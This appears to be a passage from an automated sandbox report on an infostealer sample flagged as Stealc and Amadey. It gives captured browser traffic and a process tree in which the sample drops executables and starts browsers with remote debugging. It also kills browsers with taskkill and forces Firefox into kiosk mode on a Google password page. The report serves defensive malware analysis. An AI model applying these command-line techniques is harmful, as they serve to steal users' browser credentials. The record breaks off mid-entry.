2024-11-18 03:41:37 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.6	49927	23.47.50.150	443	6392	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:37 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 03:41:37 UTC	515	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Thu, 14 Nov 2024 01:05:02 GMT X-Source-Length: 5699 X-Datacenter: westus X-ActivityId: 17b03347-bb6f-457d-a77b-dd718d1aee67 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=77019 Expires: Tue, 19 Nov 2024 01:05:16 GMT Date: Mon, 18 Nov 2024 03:41:37 GMT Connection: close
2024-11-18 03:41:37 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.6	49930	23.47.50.150	443	6392	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:37 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 03:41:37 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sat, 26 Oct 2024 13:08:49 GMT X-Datacenter: westus X-ActivityId: f9118471-d63a-4ae1-a8c4-33a84d8a076d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=422796 Expires: Sat, 23 Nov 2024 01:08:13 GMT Date: Mon, 18 Nov 2024 03:41:37 GMT Connection: close
2024-11-18 03:41:37 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Target ID:	0
Start time:	22:41:03
Start date:	17/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x8a0000
File size:	1'828'352 bytes
MD5 hash:	CAC804BE5A8C3370120FBDC37E4C6EC7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2620717305.00000000015DE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2155994551.0000000005080000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2618383963.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2618383963.000000000096C000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2620717305.0000000001657000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	22:41:13
Start date:	17/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	22:41:15
Start date:	17/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2248 --field-trial-handle=2208,i,11112625269450006976,13017943389381454279,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	22:41:23
Start date:	17/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	22:41:24
Start date:	17/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2580 --field-trial-handle=2384,i,5336292706058860815,4067302130778285972,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	22:41:24
Start date:	17/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	22:41:25
Start date:	17/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2324 --field-trial-handle=2288,i,11947060115532650235,7332651882902762647,262144 /prefetch:3
Imagebase:	0x7ff799c70000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	22:41:30
Start date:	17/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6992 --field-trial-handle=2288,i,11947060115532650235,7332651882902762647,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	22:41:30
Start date:	17/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7148 --field-trial-handle=2288,i,11947060115532650235,7332651882902762647,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	22:41:31
Start date:	17/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6824 --field-trial-handle=2288,i,11947060115532650235,7332651882902762647,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	22:41:31
Start date:	17/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6824 --field-trial-handle=2288,i,11947060115532650235,7332651882902762647,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	22:41:45
Start date:	17/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIJKFHDBKFC.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	22:41:46
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	22:41:46
Start date:	17/11/2024
Path:	C:\Users\user\DocumentsIJKFHDBKFC.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsIJKFHDBKFC.exe"
Imagebase:	0x950000
File size:	1'946'624 bytes
MD5 hash:	8A320F1C2E6D0F0B93453F0ADA342759
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000002.2669928889.0000000000951000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000003.2580735137.0000000004C30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	22:41:49
Start date:	17/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x3e0000
File size:	1'946'624 bytes
MD5 hash:	8A320F1C2E6D0F0B93453F0ADA342759
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000003.2619629445.0000000004EB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000002.2660957852.00000000003E1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	22:41:53
Start date:	17/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x3e0000
File size:	1'946'624 bytes
MD5 hash:	8A320F1C2E6D0F0B93453F0ADA342759
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000002.2704131387.00000000003E1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000003.2663887196.0000000004F60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	22:42:00
Start date:	17/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x3e0000
File size:	1'946'624 bytes
MD5 hash:	8A320F1C2E6D0F0B93453F0ADA342759
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001A.00000003.2722925376.0000000004D70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	22:42:11
Start date:	17/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe"
Imagebase:	0xcc0000
File size:	4'426'240 bytes
MD5 hash:	A84FD4E0289966A213CC12D90E98938E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	22:42:17
Start date:	17/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe"
Imagebase:	0x1e0000
File size:	1'884'672 bytes
MD5 hash:	9C292208017062C4D09720F198405A75
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 42%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	22:42:22
Start date:	17/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe"
Imagebase:	0x4f0000
File size:	1'828'352 bytes
MD5 hash:	CAC804BE5A8C3370120FBDC37E4C6EC7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000002.2987335924.000000000122E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000003.2945914551.0000000004EC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000002.2986151483.00000000004F1000.00000040.00000001.01000000.00000011.sdmp, Author: Joe Security
Antivirus matches:	Detection: 34%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	22:42:25
Start date:	17/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2324 --field-trial-handle=2288,i,11947060115532650235,7332651882902762647,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	22:42:25
Start date:	17/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7064 --field-trial-handle=2288,i,11947060115532650235,7332651882902762647,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	22:42:27
Start date:	17/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007062001\54e727f733.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007062001\54e727f733.exe"
Imagebase:	0xfa0000
File size:	922'624 bytes
MD5 hash:	8896D694E42A7760489ADCDDF79CB375
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialFlusher, Description: Yara detected Credential Flusher, Source: 00000021.00000003.2989804044.0000000000B64000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 29%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	22:42:28
Start date:	17/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xaa0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	22:42:28
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	22:42:30
Start date:	17/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xaa0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	22:42:30
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	22:42:30
Start date:	17/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xaa0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	22:42:30
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	22:42:30
Start date:	17/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xaa0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	22:42:30
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	22:42:31
Start date:	17/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xaa0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	22:42:31
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	22:42:31
Start date:	17/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	22:42:31
Start date:	17/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	22:42:31
Start date:	17/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
